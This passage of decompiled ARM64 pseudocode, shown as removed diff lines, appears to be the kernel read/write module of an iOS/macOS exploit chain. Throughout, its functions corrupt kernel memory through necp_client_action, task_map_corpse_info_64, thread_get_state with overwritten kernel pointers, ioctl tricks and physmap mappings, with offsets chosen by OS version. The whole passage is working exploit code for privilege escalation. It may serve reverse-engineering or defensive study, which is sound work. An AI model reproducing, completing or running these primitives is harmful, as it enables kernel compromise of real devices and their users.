0xFFFFFFFF - && a1[0x64E] != 0xFFFFFFFF - && a1[0x64F] != 0xFFFFFFFF - && validate_addr_maybe2((__int64)a1, a2) ) - { - v16 = 0xFFFFFFFF; - if ( a5 ) - { - test = fd_open_dev_null(&v16); - if ( (_DWORD)test ) - goto LABEL_15; - test = fd_read_test(a1 + 0x64C); - if ( (_DWORD)test ) - goto LABEL_15; - } - v14 = xmmword_436C0; - v15 = a2; - test = sub_1F714((__int64)(a1 + 0x64C), &v14, 0x18uLL); - if ( !(_DWORD)test ) - { - test = sub_1F770(a1 + 0x64C, v13, 0x18uLL); - if ( !(_DWORD)test ) - { - if ( (unsigned __int64)v14 ^ v13[0] | *((_QWORD *)&v14 + 1) ^ v13[1] | v15 ^ v13[2] ) - test = 0xAD014LL; - else - test = sub_1F714((__int64)(a1 + 0x64E), a3, a4); - } - } - if ( a5 ) -LABEL_15: - fd_close(v16); - return test; - } - return v5; -} -// 436C0: using guessed type __int128 xmmword_436C0; - -//----- (00000000000255FC) ---------------------------------------------------- -__int64 __fastcall sub_255FC(__int64 result, __int64 a2, __int64 a3, __int64 a4, int a5) -{ - __int64 v5; // x8 - - *(_OWORD *)(a2 + 0x80) = 0u; - *(_OWORD *)(a2 + 0x90) = 0u; - *(_OWORD *)(a2 + 0x60) = 0u; - *(_OWORD *)(a2 + 0x70) = 0u; - *(_OWORD *)(a2 + 0x40) = 0u; - *(_OWORD *)(a2 + 0x50) = 0u; - *(_OWORD *)(a2 + 0x20) = 0u; - *(_OWORD *)(a2 + 0x30) = 0u; - *(_OWORD *)a2 = 0u; - *(_OWORD *)(a2 + 0x10) = 0u; - *(_QWORD *)(a2 + 0x10) = 0x6300000003LL; - *(_DWORD *)(a2 + 0x1C) = 0; - if ( a5 == 7 && (v5 = *(_QWORD *)(result + 0x220)) != 0 ) - { - *(_QWORD *)(a2 + 0x28) = v5; - *(_QWORD *)(a2 + 0x38) = a3 + 0x60; - *(_QWORD *)(a2 + 0x68) = a4; - } - else - { - *(_QWORD *)(a2 + 0x28) = a3 + 0x60; - *(_QWORD *)(a2 + 0x38) = a4; - *(_DWORD *)(a2 + 0x60) = a5; - } - *(_QWORD *)(a2 + 0x40) = 0LL; - *(_BYTE *)(a2 + 0x53) = 0x22; - *(_QWORD *)(a2 + 0x58) = 0LL; - return result; -} - -//----- (000000000002566C) ---------------------------------------------------- -__int64 __fastcall sub_2566C(__int64 a1, int *a2, unsigned __int64 a3) -{ - __int64 result; // x0 - _BYTE __s2[96]; // [xsp+8h] [xbp-D8h] BYREF - _BYTE __s1[96]; // [xsp+68h] [xbp-78h] BYREF - - if ( !kreadbuf(a1, a3, 0x60uLL, __s1, 1LL) ) - return 0x2800FLL; - result = sub_1F714((__int64)a2, __s1, 0x60uLL); - if ( !(_DWORD)result ) - { - result = sub_1F770(a2, __s2, 0x60uLL); - if ( !(_DWORD)result ) - { - if ( !memcmp(__s1, __s2, 0x60uLL) ) - return 0LL; - else - return 0xAD014LL; - } - } - return result; -} - -//----- (000000000002572C) ---------------------------------------------------- -__int64 __fastcall kreadbuf_last_1(__int64 a1, __int64 a2, __int64 a3, __int64 a4) -{ - return kreadbuf(a1, a2, a3, a4, 1LL); -} -// 2A360: using guessed type __int64 __fastcall kreadbuf(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD); - -//----- (0000000000025734) ---------------------------------------------------- -bool __fastcall sub_25734(__int64 a1) -{ - __int64 v1; // x19 - unsigned __int64 v2; // x8 - bool v3; // zf - int v5; // w1 - - v1 = a1; - v2 = *(_QWORD *)(a1 + 0x158); - if ( v2 >= 0x27120000000000LL ) - { - v3 = *(_QWORD *)(a1 + 0x1D50) == 0LL; - return !v3; - } - if ( v2 < 0x1F530F02800000LL ) - { - if ( *(_QWORD *)(a1 + 0x230) && *(_QWORD *)(a1 + 0x228) ) - { - if ( *(_BYTE *)(a1 + 0xB) ) - { - v5 = 0x800100; - goto LABEL_16; - } - return 1LL; - } - return 0LL; - } - if ( *(_DWORD *)(a1 + 0x1944) == 0xFFFFFFFF - || uuid_is_null((const unsigned __int8 *)(a1 + 0x1948)) - || !*(_QWORD *)(v1 + 0x1958) ) - { - return 0LL; - } - if ( !*(_BYTE *)(v1 + 0xB) ) - return 1LL; - a1 = v1; - v5 = 0x8000100; -LABEL_16: - v3 = !krw_ctx_has_flag((_DWORD *)a1, v5); - return !v3; -} - -//----- (0000000000025804) ---------------------------------------------------- -__int64 __fastcall sub_25804(__int64 a1) -{ - unsigned __int64 v2; // x8 - _QWORD *v3; // x21 - int v4; // w0 - int v5; // w20 - int v6; // w0 - int v7; // w21 - __int64 v8; // x20 - unsigned __int64 v9; // x22 - __int64 v10; // x9 - __int64 v11; // x9 - mach_port_t v12; // w21 - unsigned __int64 v13; // x0 - unsigned __int64 v14; // x0 - vm_size_t v15; // x22 - int v16; // w0 - int v17; // w19 - int v18; // w8 - int v19; // w19 - int v20; // w8 - void *(__cdecl *v21)(void *); // x0 - int v22; // w8 - thread_act_t v23; // w0 - mach_port_t v25; // w23 - unsigned __int64 v26; // x0 - unsigned __int64 v27; // x20 - __int64 v28; // x8 - _BOOL4 has_flag; // w0 - __int64 v30; // x0 - int v31; // w24 - pthread_t v32; // x8 - __int64 v33; // [xsp+0h] [xbp-B0h] BYREF - int v34; // [xsp+Ch] [xbp-A4h] BYREF - __int64 v35; // [xsp+10h] [xbp-A0h] BYREF - vm_address_t address; // [xsp+18h] [xbp-98h] BYREF - pthread_t v37; // [xsp+20h] [xbp-90h] BYREF - pthread_attr_t v38; // [xsp+28h] [xbp-88h] BYREF - - v2 = *(_QWORD *)(a1 + 0x158); - if ( v2 >= 0x27120000000000LL ) - { - address = 0LL; - v37 = 0LL; - v3 = calloc(1uLL, 0x20uLL); - if ( v3 ) - { - v4 = pthread_attr_init(&v38); - if ( v4 ) - { - v5 = v4; - } - else - { - v16 = pthread_attr_setdetachstate(&v38, 1); - if ( v16 ) - { - v5 = v16; - pthread_attr_destroy(&v38); - } - else - { - v21 = (void *(__cdecl *)(void *))nullsub_1(sub_2AB10); - v5 = pthread_create_suspended_np(&v37, &v38, v21, 0LL); - pthread_attr_destroy(&v38); - if ( !v5 ) - { - v25 = pthread_mach_thread_np(v37); - v26 = port_name_to_kaddr(a1, v25); - if ( v26 ) - { - v27 = v26; - if ( krw_ctx_has_flag((_DWORD *)a1, 0x4000000) ) - { - v28 = 0x108LL; - } - else if ( krw_ctx_has_flag((_DWORD *)a1, 0x5584001) ) - { - v28 = 0xB8LL; - } - else - { - has_flag = krw_ctx_has_flag((_DWORD *)a1, 0x200); - v28 = 0xB8LL; - if ( !has_flag ) - v28 = 0x100LL; - } - v30 = get_kobject_maybe(a1, v28 + v27); - if ( v30 ) - { - v31 = v30; - address = 0LL; - v15 = *(unsigned int *)(a1 + 0x180); - v8 = physmap_maybe(a1, &address, v15, v30 & ~*(_QWORD *)(a1 + 0x188)); - if ( !(_DWORD)v8 ) - { - v32 = v37; - v3[1] = v15; - v3[2] = v32; - LODWORD(v32) = *(_DWORD *)(a1 + 0x188) & v31; - *((_DWORD *)v3 + 6) = v25; - *((_DWORD *)v3 + 7) = (_DWORD)v32; - *v3 = address; - *(_QWORD *)(a1 + 0x1D50) = v3; - return v8; - } - } - else - { - v15 = 0LL; - v8 = 0x28026LL; - } - } - else - { - v15 = 0LL; - v8 = 0x28008LL; - } - goto LABEL_42; - } - } - } - v15 = 0LL; - if ( v5 >= 0 ) - v22 = v5; - else - v22 = -v5; - v8 = v22 | 0x40000000u; - } - else - { - v15 = 0LL; - v8 = 0xAD009LL; - } -LABEL_42: - if ( v37 ) - { - v23 = pthread_mach_thread_np(v37); - if ( !thread_resume(v23) ) - pthread_join(v37, 0LL); - } - if ( address && v15 ) - vm_deallocate(mach_task_self_, address, v15); - if ( v3 ) - free(v3); - return v8; - } - if ( v2 < 0x1F530F02800000LL ) - { - v12 = mach_task_self_; - v13 = sub_34FF8(a1, mach_task_self_, (unsigned int *)&v38); - v8 = 0x2800ELL; - if ( v13 ) - { - *(_QWORD *)(a1 + 0x230) = v13; - v14 = sub_33268(a1, v12); - if ( v14 ) - { - v8 = 0LL; - *(_QWORD *)(a1 + 0x228) = v14; - } - } - } - else - { - v37 = 0LL; - v6 = necp_open(); - if ( v6 != 0xFFFFFFFF ) - { - v7 = v6; - if ( (unsigned int)necp_client_action() == 0xFFFFFFFF ) - { - v19 = *__error(); - v20 = *__error(); - if ( v19 < 0 ) - v20 = -v20; - v8 = v20 | 0x40000000u; - } - else - { - v8 = sub_35938((_DWORD *)a1, v7, &address); - if ( !(_DWORD)v8 ) - { - v8 = 0x2800FLL; - if ( kread64((_DWORD *)a1, address + 0x18, &v35) ) - { - if ( validate_addr(a1, v35) ) - { - v9 = *(_QWORD *)(a1 + 0x158); - v10 = 0x370LL; - if ( v9 > 0x1F541DFFFFFFFFLL ) - v10 = 0x570LL; - if ( v9 >> 0x2B > 0x44A ) - v10 = 0x580LL; - if ( kreadbuf(a1, v10 + v35, 4uLL, &v34, 1LL) ) - { - if ( v34 != 8 ) - return 0x28011LL; - v11 = 0x378LL; - if ( v9 > 0x1F541DFFFFFFFFLL ) - v11 = 0x578LL; - if ( v9 >> 0x2B > 0x44A ) - v11 = 0x588LL; - if ( kread64((_DWORD *)a1, v35 + v11, &v33) ) - { - if ( validate_addr(a1, v33) ) - { - v8 = 0LL; - *(_DWORD *)(a1 + 0x1944) = v7; - *(_OWORD *)(a1 + 0x1948) = *(_OWORD *)&v38.__sig; - *(_QWORD *)(a1 + 0x1958) = v35; - } - else - { - return 0x28026LL; - } - } - return v8; - } - } - else - { - v8 = 0x28026LL; - } - } - } - } - close(v7); - return v8; - } - v17 = *__error(); - v18 = *__error(); - if ( v17 < 0 ) - v18 = -v18; - return v18 | 0x40000000u; - } - return v8; -} -// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); - -//----- (0000000000025C6C) ---------------------------------------------------- -__int64 __fastcall sub_25C6C(__int64 a1) -{ - unsigned __int64 v2; // x8 - __int64 v3; // x21 - __int64 v4; // x20 - vm_size_t v5; // x2 - kern_return_t v6; // w0 - _opaque_pthread_t *v7; // x0 - thread_act_t v8; // w0 - int v9; // w0 - int v10; // w0 - int v12; // [xsp+8h] [xbp-28h] BYREF - int v13; // [xsp+Ch] [xbp-24h] BYREF - - v2 = *(_QWORD *)(a1 + 0x158); - if ( v2 < 0x27120000000000LL ) - { - if ( v2 < 0x1F530F02800000LL ) - { - return 0LL; - } - else - { - v12 = 0xFFFFFFFF; - v3 = fd_open_dev_null(&v12); - if ( !(_DWORD)v3 ) - { - v9 = *(_DWORD *)(a1 + 0x1944); - if ( v9 != 0xFFFFFFFF ) - { - close(v9); - *(_DWORD *)(a1 + 0x1944) = 0xFFFFFFFF; - } - *(_OWORD *)(a1 + 0x1948) = 0u; - *(_QWORD *)(a1 + 0x1958) = 0LL; - v10 = v12; - goto LABEL_21; - } - } - } - else - { - v13 = 0xFFFFFFFF; - v3 = fd_open_dev_null(&v13); - if ( !(_DWORD)v3 ) - { - v4 = *(_QWORD *)(a1 + 0x1D50); - *(_QWORD *)(a1 + 0x1D50) = 0LL; - if ( !v4 ) - { - v3 = 0LL; -LABEL_20: - v10 = v13; -LABEL_21: - fd_close(v10); - return v3; - } - if ( *(_QWORD *)v4 ) - { - v5 = *(_QWORD *)(v4 + 8); - if ( v5 ) - { - v6 = vm_deallocate(mach_task_self_, *(_QWORD *)v4, v5); - if ( v6 ) - goto LABEL_9; - } - } - v7 = *(_opaque_pthread_t **)(v4 + 0x10); - if ( v7 ) - { - v8 = pthread_mach_thread_np(v7); - v6 = thread_resume(v8); - if ( v6 ) - { -LABEL_9: - v3 = v6 | 0x80000000; -LABEL_19: - *(_OWORD *)v4 = 0u; - *(_OWORD *)(v4 + 0x10) = 0u; - *(_QWORD *)(a1 + 0x1D50) = 0LL; - free((void *)v4); - goto LABEL_20; - } - pthread_join(*(pthread_t *)(v4 + 0x10), 0LL); - } - v3 = 0LL; - goto LABEL_19; - } - } - return v3; -} - -//----- (0000000000025DB0) ---------------------------------------------------- -__int64 __fastcall sub_25DB0(__int64 a1) -{ - unsigned __int64 v1; // x8 - unsigned int v2; // w9 - - v1 = *(_QWORD *)(a1 + 0x158); - if ( v1 <= 0x1F530F027FFFFFLL ) - v2 = 0x4000; - else - v2 = 0x80000; - if ( v1 <= 0x2711FFFFFFFFFFLL ) - return v2; - else - return 0x210LL; -} - -//----- (0000000000025DE8) ---------------------------------------------------- -bool __fastcall sub_25DE8(__int64 a1) -{ - return *(_DWORD *)(a1 + 0x1930) != 0xFFFFFFFF - && *(_DWORD *)(a1 + 0x1934) != 0xFFFFFFFF - && *(_DWORD *)(a1 + 0x1940) != 0xFFFFFFFF - && *(_QWORD *)(a1 + 0x218) - || (unsigned int)(*(_DWORD *)(a1 + 0xE8) + 1) >= 2 - && *(_QWORD *)(a1 + 0xF8) - && *(_QWORD *)(a1 + 0x100) - && *(int *)(a1 + 0x140) < 0x2712; -} - -//----- (0000000000025E54) ---------------------------------------------------- -__int64 __fastcall kreadbuf_via_dev_null_only(__int64 a1, unsigned __int64 a2, __int64 a3, unsigned int a4, int a5) -{ - __int64 v5; // x21 - __int64 test; // x26 - __int64 v12; // x28 - unsigned int v13; // w8 - __int64 v14; // x19 - __int64 v15; // x26 - size_t v16; // x27 - unsigned __int64 v17; // x8 - int v18; // w9 - unsigned int v19; // w8 - unsigned int v20; // w8 - __int64 v21; // x25 - __int64 v22; // x2 - __int64 v23; // x0 - int v24; // w25 - int v25; // w8 - size_t v26; // x2 - size_t v27; // x2 - int v28; // w25 - int v29; // w8 - int v31; // [xsp+14h] [xbp-1CCh] - __int64 v32; // [xsp+18h] [xbp-1C8h] - int *v33; // [xsp+20h] [xbp-1C0h] - int v34; // [xsp+2Ch] [xbp-1B4h] BYREF - _BYTE __s2[160]; // [xsp+30h] [xbp-1B0h] BYREF - _DWORD __s1[42]; // [xsp+D0h] [xbp-110h] BYREF - - v5 = 0xAD001LL; - if ( *(_DWORD *)(a1 + 0x1930) == 0xFFFFFFFF - || *(_DWORD *)(a1 + 0x1934) == 0xFFFFFFFF - || *(_DWORD *)(a1 + 0x1940) == 0xFFFFFFFF - || !*(_QWORD *)(a1 + 0x218) - || !validate_addr_maybe2(a1, a2) ) - { - return v5; - } - v34 = 0xFFFFFFFF; - if ( a5 ) - { - test = fd_open_dev_null(&v34); - if ( (_DWORD)test ) - goto LABEL_67; - test = fd_read_test((int *)(a1 + 0x1930)); - if ( (_DWORD)test ) - goto LABEL_67; - } - v31 = a5; - v33 = (int *)(a1 + 0x1930); - if ( *(_QWORD *)(a1 + 0x220) ) - v12 = 8LL; - else - v12 = 4LL; - if ( !a4 ) - { -LABEL_61: - test = sub_267E8(a1); - goto LABEL_66; - } - v13 = 0; - v32 = v12; - while ( 1 ) - { - v14 = v13; - v15 = a2 + v13; - v16 = a4 - v13; - if ( (*(_QWORD *)(a1 + 0x188) & v15) != 0 || (unsigned int)v16 < 0x4000 || !sub_25734(a1) ) - break; - v17 = *(_QWORD *)(a1 + 0x158); - if ( v17 <= 0x1F530F027FFFFFLL ) - v18 = 0x4000; - else - v18 = 0x80000; - if ( v17 <= 0x2711FFFFFFFFFFLL ) - v19 = v18; - else - v19 = 0x210; - if ( (unsigned int)v16 >= v19 ) - LODWORD(v16) = v19; - test = sub_26204(a1, v15, (char *)(a3 + v14), v16); -LABEL_54: - if ( (_DWORD)test ) - goto LABEL_65; - v13 = v16 + v14; - if ( (int)v16 + (int)v14 >= a4 ) - goto LABEL_61; - } - v20 = v12 - v16; - if ( (unsigned int)v12 <= (unsigned int)v16 ) - { - v20 = 0; - } - else if ( (((v15 - 1 + (unsigned int)v16) ^ (v15 - 1 + v12)) & ~*(_QWORD *)(a1 + 0x188)) == 0 ) - { - v20 = 0; - } - v21 = v20; - if ( !*(_QWORD *)(a1 + 0x220) ) - { - v23 = sub_266D0(a1, v15 - v20); - if ( (_DWORD)v23 ) - goto LABEL_63; - *__error() = 0; - __s1[0] = fcntl(*(_DWORD *)(a1 + 0x1940), 5); - if ( __s1[0] == 0xFFFFFFFF && *__error() ) - { - v28 = *__error(); - v29 = *__error(); - if ( v28 < 0 ) - v29 = -v29; - test = v29 | 0x40000000u; - } - else - { - if ( (unsigned int)v16 >= 4 ) - v26 = 4LL; - else - v26 = v16; - memcpy((void *)(a3 + v14), (char *)__s1 + v21, v26); - test = 0LL; - } - goto LABEL_53; - } - if ( *v33 == 0xFFFFFFFF || *(_DWORD *)(a1 + 0x1934) == 0xFFFFFFFF || (v22 = *(_QWORD *)(a1 + 0x218)) == 0 ) - { - test = 0xAD001LL; - goto LABEL_65; - } - memset(__s1, 0, 0xA0); - sub_255FC(a1, (__int64)__s1, v22, v15 - v20 - 0x48, 7); - v23 = sub_1F714((__int64)v33, __s1, 0xA0uLL); - if ( (_DWORD)v23 || (v23 = sub_1F770(v33, __s2, 0xA0uLL), (_DWORD)v23) ) - { -LABEL_63: - test = v23; - goto LABEL_65; - } - if ( !memcmp(__s1, __s2, 0xA0uLL) ) - { - if ( ioctl(*(_DWORD *)(a1 + 0x1940), 0x40087367uLL, __s1) ) - { - v24 = *__error(); - v25 = *__error(); - if ( v24 < 0 ) - v25 = -v25; - test = v25 | 0x40000000u; - } - else - { - if ( (unsigned int)v16 >= 8 ) - v27 = 8LL; - else - v27 = v16; - memcpy((void *)(a3 + v14), (char *)__s1 + v21, v27); - test = 0LL; - } - v12 = v32; -LABEL_53: - LODWORD(v16) = v12; - goto LABEL_54; - } - test = 0xAD014LL; -LABEL_65: - sub_267E8(a1); -LABEL_66: - if ( v31 ) -LABEL_67: - fd_close(v34); - return test; -} - -//----- (0000000000026204) ---------------------------------------------------- -__int64 __fastcall sub_26204(__int64 a1, __int64 a2, char *a3, mach_msg_type_number_t a4) -{ - unsigned __int64 v7; // x8 - __int64 v8; // x21 - __int64 *v9; // x8 - unsigned __int64 v10; // x24 - unsigned __int64 v11; // x27 - __int64 v12; // x21 - __int64 v13; // x28 - __int64 v14; // x20 - __int64 v15; // x9 - __int64 v16; // x10 - unsigned __int64 v17; // x9 - unsigned __int64 v18; // x25 - __int64 v19; // x26 - size_t v20; // x22 - __int64 v21; // x23 - unsigned __int64 v22; // x8 - __int64 v23; // x9 - __int64 v24; // x10 - bool v25; // cc - __int64 v26; // x8 - unsigned __int64 v27; // x20 - __int64 v28; // x21 - unsigned __int64 v29; // x23 - __int64 v30; // x8 - __int64 v31; // x8 - __int64 v33; // x8 - unsigned __int64 v34; // x23 - unsigned __int64 v35; // x24 - __int64 v36; // x25 - __int64 v37; // x20 - kern_return_t v38; // w0 - int v39; // w21 - int v40; // w8 - natural_t old_state[134]; // [xsp+10h] [xbp-290h] BYREF - __int64 v43; // [xsp+228h] [xbp-78h] BYREF - __int64 v44; // [xsp+230h] [xbp-70h] BYREF - mach_vm_size_t kcd_size; // [xsp+238h] [xbp-68h] BYREF - mach_msg_type_number_t old_stateCnt[2]; // [xsp+240h] [xbp-60h] BYREF - - v7 = *(_QWORD *)(a1 + 0x158); - if ( v7 < 0x27120000000000LL ) - { - v8 = 0xAD001LL; - if ( v7 >= 0x1F530F02800000LL ) - { - *(_QWORD *)old_state = a2; - old_stateCnt[0] = a4; - if ( *(_DWORD *)(a1 + 0x1944) != 0xFFFFFFFF ) - { - v21 = *(_QWORD *)(a1 + 0x1958); - if ( !uuid_is_null((const unsigned __int8 *)(a1 + 0x1948)) ) - { - if ( *(_QWORD *)(a1 + 0x1958) ) - { - v22 = *(_QWORD *)(a1 + 0x158); - v23 = 0x370LL; - if ( v22 > 0x1F541DFFFFFFFFLL ) - v23 = 0x570LL; - v24 = 0x378LL; - if ( v22 > 0x1F541DFFFFFFFFLL ) - v24 = 0x578LL; - v25 = v22 >> 0x2B > 0x44A; - v26 = 0x580LL; - if ( !v25 ) - v26 = v23; - v27 = v26 + v21; - if ( v25 ) - v28 = 0x588LL; - else - v28 = v24; - v29 = v21 + v28; - if ( noppl_kwritebuf(a1, v27, old_stateCnt, 4uLL, 0) ) - { - LODWORD(v8) = 0x28010; - if ( noppl_kwritebuf(a1, v29, old_state, *(unsigned int *)(a1 + 0x168), 0) ) - { - if ( (unsigned int)necp_client_action() == a4 ) - { - LODWORD(v8) = 0; - } - else - { - v39 = *__error(); - v40 = *__error(); - if ( v39 < 0 ) - v40 = -v40; - LODWORD(v8) = v40 | 0x40000000; - } - } - } - else - { - LODWORD(v8) = 0x28010; - } - old_stateCnt[0] = 0; - if ( noppl_kwritebuf(a1, v27, old_stateCnt, 4uLL, 0) | (unsigned int)v8 ) - v8 = (unsigned int)v8; - else - v8 = 0x28010LL; - *(_QWORD *)old_state = 0LL; - if ( !noppl_kwritebuf(a1, v29, old_state, *(unsigned int *)(a1 + 0x168), 0) ) - { - if ( (_DWORD)v8 ) - return (unsigned int)v8; - else - return 0x28010LL; - } - } - } - } - return v8; - } - *(_QWORD *)old_state = a2; - kcd_size = 0LL; - *(_QWORD *)old_stateCnt = 0LL; - v43 = 0LL; - v44 = 0LL; - if ( a4 > 0x4000 || !*(_QWORD *)(a1 + 0x230) || !*(_QWORD *)(a1 + 0x228) ) - return v8; - if ( (unsigned int)(*(_DWORD *)(a1 + 0xE8) + 1) >= 2 && *(_QWORD *)(a1 + 0xF8) && *(_QWORD *)(a1 + 0x100) ) - { - v33 = *(_QWORD *)(a1 + 0xF0); - if ( !v33 ) - { - v8 = 0xAD009LL; - goto LABEL_75; - } - v31 = v33 + 0x100; - } - else - { - if ( *(_DWORD *)(a1 + 0x1930) == 0xFFFFFFFF ) - goto LABEL_75; - if ( *(_DWORD *)(a1 + 0x1934) == 0xFFFFFFFF ) - goto LABEL_75; - if ( *(_DWORD *)(a1 + 0x1940) == 0xFFFFFFFF ) - goto LABEL_75; - v30 = *(_QWORD *)(a1 + 0x218); - if ( !v30 ) - goto LABEL_75; - v31 = v30 + 0xC0; - } - v8 = 0x28010LL; - v44 = v31; - if ( noppl_kwritebuf(a1, v31 + 8, old_state, *(unsigned int *)(a1 + 0x168), 0) ) - { - v34 = *(_QWORD *)(a1 + 0x228); - if ( noppl_kwritebuf(a1, v34, &v44, *(unsigned int *)(a1 + 0x168), 0) ) - { - v35 = *(_QWORD *)(a1 + 0x230); - v36 = 0x2800FLL; - if ( kreadbuf(a1, v35, 4uLL, (char *)&v43 + 4, 0LL) ) - { - LODWORD(v43) = HIDWORD(v43) | 0x20; - v37 = 0x28010LL; - if ( !noppl_kwritebuf(a1, v35, &v43, 4uLL, 0) ) - goto LABEL_70; - v38 = task_map_corpse_info_64(mach_task_self_, mach_task_self_, (mach_vm_address_t *)old_stateCnt, &kcd_size); - if ( v38 ) - { - v36 = v38 | 0x80000000; - } - else if ( *(_QWORD *)old_stateCnt && kcd_size == 0x4000 ) - { - memcpy(a3, *(const void **)old_stateCnt, a4); - v36 = 0LL; - } - if ( !noppl_kwritebuf(a1, v35, (char *)&v43 + 4, 4uLL, 0) ) - { - if ( (_DWORD)v36 ) - v37 = (unsigned int)v36; - else - v37 = 0x28010LL; - goto LABEL_70; - } - } - v37 = v36; -LABEL_70: - v44 = 0LL; - if ( noppl_kwritebuf(a1, v34, &v44, *(unsigned int *)(a1 + 0x168), 0) ) - { - v8 = v37; - } - else if ( (_DWORD)v37 ) - { - v8 = (unsigned int)v37; - } - else - { - v8 = 0x28010LL; - } - } - } -LABEL_75: - if ( *(_QWORD *)old_stateCnt && kcd_size ) - mach_vm_deallocate(mach_task_self_, *(mach_vm_address_t *)old_stateCnt, kcd_size); - return v8; - } - v8 = 0xAD001LL; - v9 = *(__int64 **)(a1 + 0x1D50); - if ( v9 ) - { - if ( a4 ) - { - v10 = 0LL; - v11 = a4; - while ( 1 ) - { - v12 = v10 + a2; - v13 = *v9; - v14 = *((unsigned int *)v9 + 7); - old_stateCnt[0] = 0x84; - v15 = *(_QWORD *)(a1 + 0x188); - v16 = (v10 + a2) & ~v15; - v17 = v15 & (v10 + a2); - if ( v17 >= (unsigned __int64)*(unsigned int *)(a1 + 0x180) - 0x210 ) - v17 = *(unsigned int *)(a1 + 0x180) - 0x210LL; - v18 = v17 + v16; - v19 = *(_QWORD *)(v13 + v14); - __dsb(0xBu); - *(_QWORD *)(v13 + v14) = v17 + v16 - 0x10; - if ( thread_get_state(*((_DWORD *)v9 + 6), 0x11, old_state, old_stateCnt) || old_stateCnt[0] != 0x84 ) - break; - if ( v18 - v12 + 0x210 <= v11 - v10 ) - v20 = v18 - v12 + 0x210; - else - v20 = v11 - v10; - memcpy(&a3[v10], (char *)old_state + v12 - v18, v20); - *(_QWORD *)(v14 + v13) = v19; - v10 += v20; - if ( v10 >= v11 ) - return 0LL; - v9 = *(__int64 **)(a1 + 0x1D50); - } - *(_QWORD *)(v14 + v13) = v19; - return 0xAD022LL; - } - else - { - return 0LL; - } - } - return v8; -} - -//----- (00000000000266D0) ---------------------------------------------------- -__int64 __fastcall sub_266D0(__int64 a1, __int64 a2) -{ - __int64 v2; // x19 - __int64 v3; // x8 - int *v4; // x20 - __int64 v5; // x0 - _BYTE v7[160]; // [xsp+0h] [xbp-170h] BYREF - _OWORD __s1[2]; // [xsp+A0h] [xbp-D0h] BYREF - __int64 v9; // [xsp+C0h] [xbp-B0h] - __int64 v10; // [xsp+C8h] [xbp-A8h] - __int64 v11; // [xsp+D0h] [xbp-A0h] - __int64 v12; // [xsp+D8h] [xbp-98h] - __int128 v13; // [xsp+E0h] [xbp-90h] - __int128 v14; // [xsp+F0h] [xbp-80h] - __int128 v15; // [xsp+100h] [xbp-70h] - __int128 v16; // [xsp+110h] [xbp-60h] - __int128 v17; // [xsp+120h] [xbp-50h] - __int128 v18; // [xsp+130h] [xbp-40h] - - v2 = 0xAD001LL; - if ( *(_DWORD *)(a1 + 0x1930) != 0xFFFFFFFF && *(_DWORD *)(a1 + 0x1934) != 0xFFFFFFFF ) - { - v3 = *(_QWORD *)(a1 + 0x218); - if ( v3 ) - { - v4 = (int *)(a1 + 0x1930); - v9 = 0LL; - v11 = 0LL; - v17 = 0u; - v18 = 0u; - v15 = 0u; - v16 = 0u; - v13 = 0u; - v14 = 0u; - __s1[0] = 0u; - __s1[1] = 0x6300000003uLL; - v10 = v3 + 0x60; - v12 = a2 - 0x60; - LODWORD(v15) = 2; - BYTE3(v14) = 0x22; - v5 = sub_1F714(a1 + 0x1930, __s1, 0xA0uLL); - if ( !(_DWORD)v5 ) - { - v5 = sub_1F770(v4, v7, 0xA0uLL); - if ( !(_DWORD)v5 ) - { - if ( !memcmp(__s1, v7, 0xA0uLL) ) - return 0LL; - else - return 0xAD014LL; - } - } - return v5; - } - } - return v2; -} - -//----- (00000000000267E8) ---------------------------------------------------- -__int64 __fastcall sub_267E8(__int64 a1) -{ - __int64 v1; // x19 - __int64 v2; // x8 - int *v3; // x20 - __int64 v4; // x0 - _BYTE v6[160]; // [xsp+0h] [xbp-170h] BYREF - _OWORD __s1[2]; // [xsp+A0h] [xbp-D0h] BYREF - __int64 v8; // [xsp+C0h] [xbp-B0h] - __int64 v9; // [xsp+C8h] [xbp-A8h] - __int128 v10; // [xsp+D0h] [xbp-A0h] - __int128 v11; // [xsp+E0h] [xbp-90h] - __int128 v12; // [xsp+F0h] [xbp-80h] - __int128 v13; // [xsp+100h] [xbp-70h] - __int128 v14; // [xsp+110h] [xbp-60h] - __int128 v15; // [xsp+120h] [xbp-50h] - __int128 v16; // [xsp+130h] [xbp-40h] - - v1 = 0xAD001LL; - if ( *(_DWORD *)(a1 + 0x1930) != 0xFFFFFFFF && *(_DWORD *)(a1 + 0x1934) != 0xFFFFFFFF ) - { - v2 = *(_QWORD *)(a1 + 0x218); - if ( v2 ) - { - v3 = (int *)(a1 + 0x1930); - v15 = 0u; - v16 = 0u; - v13 = 0u; - v14 = 0u; - v11 = 0u; - v12 = 0u; - v8 = 0LL; - v10 = 0u; - __s1[0] = 0u; - __s1[1] = 0x6300000003uLL; - v9 = v2 + 0x60; - LODWORD(v13) = 3; - BYTE3(v12) = 0x22; - v4 = sub_1F714(a1 + 0x1930, __s1, 0xA0uLL); - if ( !(_DWORD)v4 ) - { - v4 = sub_1F770(v3, v6, 0xA0uLL); - if ( !(_DWORD)v4 ) - { - if ( !memcmp(__s1, v6, 0xA0uLL) ) - return 0LL; - else - return 0xAD014LL; - } - } - return v4; - } - } - return v1; -} - -//----- (00000000000268F8) ---------------------------------------------------- -__int64 __fastcall sub_268F8(__int64 a1, unsigned __int64 a2, __int64 a3, unsigned int a4, int a5) -{ - __int64 test; // x24 - unsigned int v11; // w27 - unsigned __int64 v12; // x8 - unsigned __int64 v13; // x9 - unsigned int v14; // w28 - size_t v15; // x25 - __int64 v16; // x26 - __int64 v17; // x0 - int v18; // w0 - int v19; // w21 - int v20; // w8 - unsigned int v22; // [xsp+8h] [xbp-58h] BYREF - int v23; // [xsp+Ch] [xbp-54h] BYREF - - test = 0xAD001LL; - if ( *(_DWORD *)(a1 + 0x1930) == 0xFFFFFFFF - || *(_DWORD *)(a1 + 0x1934) == 0xFFFFFFFF - || *(_DWORD *)(a1 + 0x1940) == 0xFFFFFFFF - || !*(_QWORD *)(a1 + 0x218) - || !validate_addr_maybe2(a1, a2) ) - { - return test; - } - v23 = 0xFFFFFFFF; - if ( a5 ) - { - test = fd_open_dev_null(&v23); - if ( (_DWORD)test ) - goto LABEL_34; - test = fd_read_test((int *)(a1 + 0x1930)); - if ( (_DWORD)test ) - goto LABEL_34; - } - if ( !a4 ) - { -LABEL_27: - test = sub_267E8(a1); - goto LABEL_33; - } - v11 = 0; - while ( 1 ) - { - v12 = a4 - v11; - v22 = 0; - v13 = a2 + v11; - if ( (unsigned int)v12 